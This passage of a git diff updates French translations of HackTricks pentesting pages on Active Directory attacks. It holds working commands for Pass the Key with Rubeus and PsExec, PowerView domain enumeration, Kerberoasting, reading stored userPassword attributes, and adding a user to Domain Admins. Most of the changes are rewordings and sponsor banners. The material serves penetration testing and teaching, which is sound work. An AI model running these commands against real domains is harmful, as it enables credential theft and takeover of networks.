.\PsExec.exe -accepteula \\labwws02.jurassic.park cmd
|
||||
```
|
||||
Cette méthode reflète l'approche **Pass the Key**, en mettant l'accent sur la prise de contrôle et l'utilisation du ticket directement à des fins d'authentification. Il est crucial de noter que le lancement d'une demande de TGT déclenche l'événement `4768: Un ticket d'authentification Kerberos (TGT) a été demandé`, signifiant une utilisation par défaut de RC4-HMAC, bien que les systèmes Windows modernes préfèrent AES256.
|
||||
Cette méthode reflète l'approche **Pass the Key**, en mettant l'accent sur la prise de contrôle et l'utilisation directe du ticket à des fins d'authentification. Il est crucial de noter que l'initiation d'une demande de TGT déclenche l'événement `4768: Une demande de ticket d'authentification Kerberos (TGT) a été effectuée`, signifiant une utilisation par défaut de RC4-HMAC, bien que les systèmes Windows modernes préfèrent AES256.
|
||||
|
||||
Pour se conformer à la sécurité opérationnelle et utiliser AES256, la commande suivante peut être appliquée:
|
||||
Pour respecter la sécurité opérationnelle et utiliser AES256, la commande suivante peut être appliquée:
|
||||
```bash
|
||||
.\Rubeus.exe asktgt /user:<USERNAME> /domain:<DOMAIN> /aes256:HASH /nowrap /opsec
|
||||
```
|
||||
|
@ -43,11 +48,15 @@ Pour se conformer à la sécurité opérationnelle et utiliser AES256, la comman
|
|||
|
||||
* [https://www.tarlogic.com/es/blog/como-atacar-kerberos/](https://www.tarlogic.com/es/blog/como-atacar-kerberos/)
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge HackTricks AWS)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou souhaitez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
|
|
@ -2,7 +2,7 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert Red Team AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
@ -12,6 +12,11 @@
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
La version la plus récente de PowerView se trouve toujours dans la branche dev de PowerSploit: [https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1](https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1)
|
||||
|
||||
[**SharpView**](https://github.com/tevora-threat/SharpView) est un port .NET de [**PowerView**](https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1)
|
||||
|
@ -231,7 +236,7 @@ Get-NetForestTrust #Get forest trusts (it must be between 2 roots, trust between
|
|||
Get-DomainForeingUser #Get users with privileges in other domains inside the forest
|
||||
Get-DomainForeignGroupMember #Get groups with privileges in other domains inside the forest
|
||||
```
|
||||
### Fruits faciles
|
||||
### **Fruits faciles à cueillir**
|
||||
```powershell
|
||||
#Check if any user passwords are set
|
||||
$FormatEnumerationLimit=-1;Get-DomainUser -LDAPFilter '(userPassword=*)' -Properties samaccountname,memberof,userPassword | % {Add-Member -InputObject $_ NoteProperty 'Password' "$([System.Text.Encoding]::ASCII.GetString($_.userPassword))" -PassThru} | fl
|
||||
|
@ -283,7 +288,7 @@ Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties *
|
|||
```
|
||||
#### Kerberoast
|
||||
|
||||
#### Kerberoast
|
||||
Kerberoast est une technique d'extraction de hachages de mots de passe à partir de services Kerberos à l'aide de tickets de service.
|
||||
```powershell
|
||||
Invoke-Kerberoast [-Identity websvc] #Without "-Identity" kerberoast all possible users
|
||||
```
|
||||
|
@ -314,11 +319,15 @@ Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=testlab,DC=lo
|
|||
# Add user to 'Domain Admins'
|
||||
Add-NetGroupUser -Username username -GroupName 'Domain Admins' -Domain my.domain.local
|
||||
```
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou souhaitez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
|
Loading…
Reference in a new issue